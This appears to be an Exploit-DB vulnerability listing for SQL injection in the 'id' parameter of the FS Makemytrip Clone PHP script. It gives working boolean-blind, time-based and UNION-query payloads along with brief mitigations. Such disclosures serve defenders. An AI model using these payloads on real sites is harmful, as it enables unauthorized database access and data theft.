header-logo
Suggest Exploit
vendor:
Makemytrip Clone
by:
Dan°
8,8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Makemytrip Clone
Affected Version From: 2017-12-05
Affected Version To: 2017-12-05
Patch Exists: YES
Related CWE: N/A
CPE: fortunescripts.com/product/makemytrip-clone/
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Kali Linux 2.0
2017

FS Makemytrip Clone – SQL Injection

SQL Injection on GET parameter = id. Payloads used are boolean-based blind, AND/OR time-based blind and UNION query.

Mitigation:

Input validation and sanitization, use of prepared statements, use of stored procedures, use of parameterized queries, use of least privilege principle, use of web application firewalls, etc.
Source

Exploit-DB raw data:

# Exploit Title: FS Makemytrip Clone - SQL Injection
# Date: 2017-12-05
# Exploit Author: Dan°
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/makemytrip-clone/
# Version: 2017-12-05
# Tested on: Kali Linux 2.0

(PoC):
SQL Injection on GET parameter = id
http://localhost/pages.php?id=

---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2990=2990
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: id=1 OR SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id=-4648 UNION ALL SELECT
NULL,NULL,CONCAT(0x716b767a71,0x47714f5a66644664796a6a426879674757634b707753727544424f616944536d4d70655276565854,0x7178627171),NULL--
YbYU
---